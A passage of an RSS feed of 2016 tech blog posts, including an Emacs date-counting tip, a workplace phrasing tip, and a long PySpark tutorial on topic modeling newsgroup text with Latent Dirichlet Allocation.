0.4.0 + support libraries</title><link>https://zserge.com/posts/anvil-support-libraries/</link><description>Previously on Anvil: version 0.1 was the first one to use incremental rendering approach instead of virtual tree diff&amp;rsquo;ing. Version 0.2 added support for XML layouts and binding data to existing views. Version 0.3 was about two-way data bindings - most views got simplified lambas for handling user input and many related bugs have been fixed.
Today&amp;rsquo;s version 0.4 takes care of support libraries.
I personally rarely use support libraries (at work we don&amp;rsquo;t target regular consumer devices so material niceties or fragments or action bars are not used a lot).</description><author>zserge's blog</author><pubDate>Wed, 11 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://zserge.com/posts/anvil-support-libraries/</guid></item><item><title>TFL and the Victoria Line samples</title><link>https://rjp.is/blogging/posts/tfl-and-the-victoria-line-samples-2/</link><description>In which we borrow some samples to make some tunes.</description><author>infrequent oscillations</author><pubDate>Tue, 10 May 2016 11:29:08 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/tfl-and-the-victoria-line-samples-2/</guid></item><item><title>Emacs: Find number of days between dates</title><link>https://xenodium.com/emacs-find-number-of-days-between-dates</link><description>&lt;p&gt;Needed to find the number of days between two dates. Emacs calendar must know this…&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Fire up the manual (M-x info-emacs-manual or C-h r).&lt;/li&gt;
&lt;li&gt;Info-goto-node (or g).&lt;/li&gt;
&lt;li&gt;Type &amp;quot;counting days&amp;quot; and voilá:&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;To determine the number of days in a range, set the mark on one date using `C-&amp;lt;SPC&amp;gt;', move point to another date, and type `M-=' (`calendar-count-days-region'). The numbers of days shown is [inclusive]{.underline}; that is, it includes the days specified by mark and point.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img alt="" src="https://xenodium.github.io/images/emacs-find-number-of-days-between-dates/emacs-days-between-dates.gif" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Note: you can use the mouse to jump to another date, or &amp;quot;g d&amp;quot; (calendar-goto-date).&lt;/em&gt;&lt;/p&gt;</description><author>xenodium.com @alvaro</author><pubDate>Tue, 10 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/emacs-find-number-of-days-between-dates</guid></item><item><title>Overcome (some) barriers in work with this magic phrase</title><link>https://josh.works/overcome-barriers-in-work-with-this-magic-phrase</link><description>&lt;p&gt;You’re sending an email to your boss about some decision point you’re facing. How should you word it?&lt;/p&gt;

&lt;p&gt;Compare this wording:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Let me know if my criteria are sound, or if you have any concerns. I’d like to get started as soon as possible.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;To this wording:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Unless I hear otherwise, I’m going to start reaching out to the clients that meet my criteria for this research.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;If you sent the first option out in an email, you might be waiting a few days to get the go-ahead. The second option, and you can begin immediately, because &lt;em&gt;a non-response from your boss is an implicit and meaningful approval of your plan&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;The difference is night and day.&lt;/p&gt;

&lt;p&gt;I first heard of this phrase through this lovely one-page website &lt;a href="http://unlessiheardifferently.com/"&gt;unlessiheardifferently.com&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I use this phrase all the time, and &lt;em&gt;have gotten nothing but positive feedback.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Give it a whirl yourself, next time you want to get something rolling and don’t want to wait for the explicit permission of those around you. They’ll thank you for it.&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Tue, 10 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/overcome-barriers-in-work-with-this-magic-phrase</guid></item><item><title>Arranging Acappella Music</title><link>https://bpev.me/notes/arranging-acappella-music</link><author>bpev.me</author><pubDate>Tue, 10 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://bpev.me/notes/arranging-acappella-music</guid></item><item><title>PySpark and Latent Dirichlet Allocation</title><link>https://sean.lane.sh/posts/2016/05/PySpark-and-Latent-Dirichlet-Allocation/</link><description>&lt;p&gt;This past semester, I had the chance to take two courses: Statistical Machine Learning from a Probabilistic Perspective (it&amp;rsquo;s a bit of a mouthful) and Big Data Science &amp;amp; Capstone. In the former, we had the chance to study the breadth of various statistical machine learning algorithms and processes that have flourished in recent years. This included a number of different topics ranging from Gaussian Mixture Models to Latent Dirichlet Allocation. In the latter, our class divided into groups to work on a capstone project with one of a number of great companies or organizations. It was only a 3 credit-hour course, so it was a less intensive project than a traditional capstone course that is a student&amp;rsquo;s sole focus for an entire semester, but it was a great experience nonetheless. The Big Data science course taught us some fundamentals with big data science and normal data analysis (ETL, MapReduce, Hadoop, Weka, etc.) and then released us off into the wild blue yonder to see what we could accomplish with our various projects.&lt;/p&gt;
&lt;p&gt;For the Big Data course, my team was actually assigned two projects:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Attempting to track illness and outbreaks using social media&lt;/li&gt;
&lt;li&gt;Creating a module for Apache PySpark to conduct Sensitivity Analysis of &lt;code&gt;pyspark.ml&lt;/code&gt; models&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Both of these projects involved the use of Apache PySpark, and as a result I came to become familiar with it at a basic level. For a final project within the Statistical Machine Learning class, I considered how I could bring the experience of both together, and thought of using the LDA capabilities of PySpark in order to model some of the social media data that my Big Data group had already gathered. An idea of mine was that if we could cluster the social media content, then we could find further patterns or filter out bad data, for example. That said, when my class attempted to implement LDA models ourselves, it took a considerable amount of time to process, but I felt that using PySpark on a cluster of computers would allow me to utilize a respectable amount of the social media data we had gathered. I came across a few tutorials and examples of using LDA within Spark, but all of them that I found were written using Scala. It is not a very difficult leap from Spark to PySpark, but I felt that a version for PySpark would be useful to some.&lt;/p&gt;
&lt;h2 id="summary-explanation-of-latent-dirichlet-allocation"&gt;Summary explanation of Latent Dirichlet Allocation&lt;/h2&gt;
&lt;p&gt;The article that I mostly referenced when completing my own analysis can be found here: &lt;a href="https://databricks.com/blog/2015/03/25/topic-modeling-with-lda-mllib-meets-graphx.html"&gt;Topic modeling with LDA: MLlib meets GraphX&lt;/a&gt;. There, Joseph Bradley gives an apt description of what topic modeling is, how LDA covers it and what it could be used for. I&amp;rsquo;ll attempt to briefly summarize his remarks and refer you to the Databrick&amp;rsquo;s blog and other resources for deeper coverage. Topic modeling attempts to take &amp;ldquo;documents&amp;rdquo;, whether they are actual documents, sentences, tweets, etcetera, and infer the topic of the document. LDA attempts to do so by interpreting topics as unseen, or latent, distributions over all of the possible words (vocabulary) in all of the documents (corpus). This was originally developed for text analysis, but is being used in a number of different fields.&lt;/p&gt;
&lt;h2 id="example-in-pyspark"&gt;Example in PySpark&lt;/h2&gt;
&lt;p&gt;This example will follow the LDA example given in the Databrick&amp;rsquo;s blog post, but it should be fairly trivial to extend to whatever corpus that you may be working with. In this example, we will take articles from 3 newsgroups, process them using the LDA functionality of &lt;code&gt;pyspark.mllib&lt;/code&gt; and see if we can validate the process by recognizing 3 distinct topics.&lt;/p&gt;
&lt;p&gt;The step is to gather your corpus together. As I previously mentioned, we&amp;rsquo;ll use the discussions from 3 newsgroups. The entire set can be found here: &lt;a href="http://kdd.ics.uci.edu/databases/20newsgroups/20newsgroups.html"&gt;20 Newsgroups&lt;/a&gt;. For this example, I picked 3 topics that seem to be fairly distinct from each other:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;comp.os.ms-windows.misc&lt;/li&gt;
&lt;li&gt;rec.sport.baseball&lt;/li&gt;
&lt;li&gt;talk.religion.misc&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I extracted the collection of discussions, and then put all of the discussions into one directory to form my corpus. Then we can point the PySpark script to this directory to pull the documents in. The entirety of the code used in this example can be found at the bottom of this post.&lt;/p&gt;
&lt;p&gt;The first actual bit of code will initialize our SparkContext:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-python"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;from&lt;/span&gt; collections &lt;span style="color: #f92672;"&gt;import&lt;/span&gt; defaultdict
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;from&lt;/span&gt; pyspark &lt;span style="color: #f92672;"&gt;import&lt;/span&gt; SparkContext
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;from&lt;/span&gt; pyspark.mllib.linalg &lt;span style="color: #f92672;"&gt;import&lt;/span&gt; Vector, Vectors
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;from&lt;/span&gt; pyspark.mllib.clustering &lt;span style="color: #f92672;"&gt;import&lt;/span&gt; LDA, LDAModel
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;from&lt;/span&gt; pyspark.sql &lt;span style="color: #f92672;"&gt;import&lt;/span&gt; SQLContext
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;import&lt;/span&gt; re
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;num_of_stop_words &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; &lt;span style="color: #ae81ff;"&gt;50&lt;/span&gt;      &lt;span style="color: #75715e;"&gt;# Number of most common words to remove, trying to eliminate stop words&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;num_topics &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; &lt;span style="color: #ae81ff;"&gt;3&lt;/span&gt;	            &lt;span style="color: #75715e;"&gt;# Number of topics we are looking for&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;num_words_per_topic &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; &lt;span style="color: #ae81ff;"&gt;10&lt;/span&gt;    &lt;span style="color: #75715e;"&gt;# Number of words to display for each topic&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;max_iterations &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; &lt;span style="color: #ae81ff;"&gt;35&lt;/span&gt;         &lt;span style="color: #75715e;"&gt;# Max number of times to iterate before finishing&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;# Initialize&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;sc &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; SparkContext(&lt;span style="color: #e6db74;"&gt;'local'&lt;/span&gt;, &lt;span style="color: #e6db74;"&gt;'PySPARK LDA Example'&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;sql_context &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; SQLContext(sc)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then we&amp;rsquo;ll pull in the data and tokenize it to form our global vocabulary:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-python"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;data &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; sc&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;wholeTextFiles(&lt;span style="color: #e6db74;"&gt;'newsgroup/files/*'&lt;/span&gt;)&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;map(&lt;span style="color: #66d9ef;"&gt;lambda&lt;/span&gt; x: x[&lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;tokens &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; data \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #f92672;"&gt;.&lt;/span&gt;map( &lt;span style="color: #66d9ef;"&gt;lambda&lt;/span&gt; document: document&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;strip()&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;lower()) \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #f92672;"&gt;.&lt;/span&gt;map( &lt;span style="color: #66d9ef;"&gt;lambda&lt;/span&gt; document: re&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;split(&lt;span style="color: #e6db74;"&gt;"[\s;,#]"&lt;/span&gt;, document)) \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #f92672;"&gt;.&lt;/span&gt;map( &lt;span style="color: #66d9ef;"&gt;lambda&lt;/span&gt; word: [x &lt;span style="color: #66d9ef;"&gt;for&lt;/span&gt; x &lt;span style="color: #f92672;"&gt;in&lt;/span&gt; word &lt;span style="color: #66d9ef;"&gt;if&lt;/span&gt; x&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;isalpha()]) \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #f92672;"&gt;.&lt;/span&gt;map( &lt;span style="color: #66d9ef;"&gt;lambda&lt;/span&gt; word: [x &lt;span style="color: #66d9ef;"&gt;for&lt;/span&gt; x &lt;span style="color: #f92672;"&gt;in&lt;/span&gt; word &lt;span style="color: #66d9ef;"&gt;if&lt;/span&gt; len(x) &lt;span style="color: #f92672;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color: #ae81ff;"&gt;3&lt;/span&gt;] )
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Here we process the corpus by doing the following:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Load each file as an individual document&lt;/li&gt;
&lt;li&gt;Strip any leading or trailing whitespace&lt;/li&gt;
&lt;li&gt;Convert all characters into lowercase where applicable&lt;/li&gt;
&lt;li&gt;Split each document into words, separated by whitespace, semi-colons, commas, and octothorpes&lt;/li&gt;
&lt;li&gt;Only keep the words that are all alphabetical characters&lt;/li&gt;
&lt;li&gt;Only keep words larger than 3 characters&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This then leaves us with each document represented as a list of words that are hopefully more insightful than words like &amp;ldquo;the&amp;rdquo;, &amp;ldquo;and&amp;rdquo;, and other small words that we suspect are inconsequential to the topics we are hoping to find. The next step is to then generate our global vocabulary:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-python"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;# Get our vocabulary&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;# 1. Flat map the tokens -&amp;gt; Put all the words in one giant list instead of a list per document&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;# 2. Map each word to a tuple containing the word, and the number 1, signifying a count of 1 for that word&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;# 3. Reduce the tuples by key, i.e.: Merge all the tuples together by the word, summing up the counts&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;# 4. Reverse the tuple so that the count is first...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;# 5. ...which will allow us to sort by the word count&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;termCounts &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; tokens \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #f92672;"&gt;.&lt;/span&gt;flatMap(&lt;span style="color: #66d9ef;"&gt;lambda&lt;/span&gt; document: document) \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #f92672;"&gt;.&lt;/span&gt;map(&lt;span style="color: #66d9ef;"&gt;lambda&lt;/span&gt; word: (word, &lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;)) \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #f92672;"&gt;.&lt;/span&gt;reduceByKey( &lt;span style="color: #66d9ef;"&gt;lambda&lt;/span&gt; x,y: x &lt;span style="color: #f92672;"&gt;+&lt;/span&gt; y) \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #f92672;"&gt;.&lt;/span&gt;map(&lt;span style="color: #66d9ef;"&gt;lambda&lt;/span&gt; tuple: (tuple[&lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;], tuple[&lt;span style="color: #ae81ff;"&gt;0&lt;/span&gt;])) \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #f92672;"&gt;.&lt;/span&gt;sortByKey(&lt;span style="color: #66d9ef;"&gt;False&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The above code performs the following steps:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Flattens the corpus, aggregating all of the words into one giant list of words&lt;/li&gt;
&lt;li&gt;Maps each word with the number &lt;code&gt;1&lt;/code&gt;, indicate we count this word once&lt;/li&gt;
&lt;li&gt;Reduce each word count, by finding all of the instances of any given word, and adding up their respective counts&lt;/li&gt;
&lt;li&gt;Invert each tuple, so that the word count precedes each word&amp;hellip;&lt;/li&gt;
&lt;li&gt;&amp;hellip;which then allows us to sort by the count for each word.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;We now have a sorted list of tuples, sorted in descending order of the number of time each word is in the corpus. We can then use this to remove the most common words, which will most likely be commons words (like &amp;ldquo;the&amp;rdquo;, &amp;ldquo;and&amp;rdquo;, &amp;ldquo;from&amp;rdquo;) that are most likely not distinctive to any given topic, and are equally likely to be found in all of the topics. We then identify which words to remove by setting deciding to remove &lt;code&gt;k&lt;/code&gt; amount of words, find the count of word that is &lt;code&gt;k&lt;/code&gt; deep in the list, and then removing any words with that amount or more of occurrences in the vocabulary. After this, we will then index each word, giving each word a unique id and then collect them into a map:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-python"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;# Identify a threshold to remove the top words, in an effort to remove stop words&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;threshold_value &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; termCounts&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;take(num_of_stop_words)[num_of_stop_words &lt;span style="color: #f92672;"&gt;-&lt;/span&gt; &lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;][&lt;span style="color: #ae81ff;"&gt;0&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;# Only keep words with a count less than the threshold identified above, &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;# and then index each one and collect them into a map&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;vocabulary &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; termCounts \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #f92672;"&gt;.&lt;/span&gt;filter(&lt;span style="color: #66d9ef;"&gt;lambda&lt;/span&gt; x : x[&lt;span style="color: #ae81ff;"&gt;0&lt;/span&gt;] &lt;span style="color: #f92672;"&gt;&amp;lt;&lt;/span&gt; threshold_value) \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #f92672;"&gt;.&lt;/span&gt;map(&lt;span style="color: #66d9ef;"&gt;lambda&lt;/span&gt; x: x[&lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;]) \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #f92672;"&gt;.&lt;/span&gt;zipWithIndex() \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #f92672;"&gt;.&lt;/span&gt;collectAsMap()
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This leaves us with a vocabulary that consists of tuples of words and their word counts, with the most common words removed. The next step is to represent each document as a vector of word counts. What this means is that instead of each document being formed of a sequence of words, we will have a list that is the size of the global vocabulary, and the value of each cell is the count of the word whose id is the index of that cell:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-python"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;# Convert the given document into a vector of word counts&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #66d9ef;"&gt;def&lt;/span&gt; &lt;span style="color: #a6e22e;"&gt;document_vector&lt;/span&gt;(document):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    id &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; document[&lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    counts &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; defaultdict(int)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #66d9ef;"&gt;for&lt;/span&gt; token &lt;span style="color: #f92672;"&gt;in&lt;/span&gt; document[&lt;span style="color: #ae81ff;"&gt;0&lt;/span&gt;]:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;        &lt;span style="color: #66d9ef;"&gt;if&lt;/span&gt; token &lt;span style="color: #f92672;"&gt;in&lt;/span&gt; vocabulary:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;            token_id &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; vocabulary[token]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;            counts[token_id] &lt;span style="color: #f92672;"&gt;+=&lt;/span&gt; &lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    counts &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; sorted(counts&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;items())
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    keys &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; [x[&lt;span style="color: #ae81ff;"&gt;0&lt;/span&gt;] &lt;span style="color: #66d9ef;"&gt;for&lt;/span&gt; x &lt;span style="color: #f92672;"&gt;in&lt;/span&gt; counts]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    values &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; [x[&lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;] &lt;span style="color: #66d9ef;"&gt;for&lt;/span&gt; x &lt;span style="color: #f92672;"&gt;in&lt;/span&gt; counts]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #66d9ef;"&gt;return&lt;/span&gt; (id, Vectors&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;sparse(len(vocabulary), keys, values))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;# Process all of the documents into word vectors using the &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;# `document_vector` function defined previously&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;documents &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; tokens&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;zipWithIndex()&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;map(document_vector)&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;map(list)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The final thing to do before actually beginning to run the model is to invert our vocabulary so that we can lookup each word based on it&amp;rsquo;s id. This will allow us to see which words strongly correlate to which topics:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-python"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;# Get an inverted vocabulary, so we can look up the word by it's index value&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;inv_voc &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; {value: key &lt;span style="color: #66d9ef;"&gt;for&lt;/span&gt; (key, value) &lt;span style="color: #f92672;"&gt;in&lt;/span&gt; vocabulary&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;items()}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now we open an output file, and train our model on the corpus with the desired amount of topics and maximum number of iterations:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-python"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;# Open an output file&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #66d9ef;"&gt;with&lt;/span&gt; open(&lt;span style="color: #e6db74;"&gt;"output.txt"&lt;/span&gt;, &lt;span style="color: #e6db74;"&gt;'w'&lt;/span&gt;) &lt;span style="color: #66d9ef;"&gt;as&lt;/span&gt; f:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    lda_model &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; LDA&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;train(documents, k&lt;span style="color: #f92672;"&gt;=&lt;/span&gt;num_topics, maxIterations&lt;span style="color: #f92672;"&gt;=&lt;/span&gt;max_iterations)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    topic_indices &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; lda_model&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;describeTopics(maxTermsPerTopic&lt;span style="color: #f92672;"&gt;=&lt;/span&gt;num_words_per_topic)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #75715e;"&gt;# Print topics, showing the top-weighted 10 terms for each topic&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #66d9ef;"&gt;for&lt;/span&gt; i &lt;span style="color: #f92672;"&gt;in&lt;/span&gt; range(len(topic_indices)):
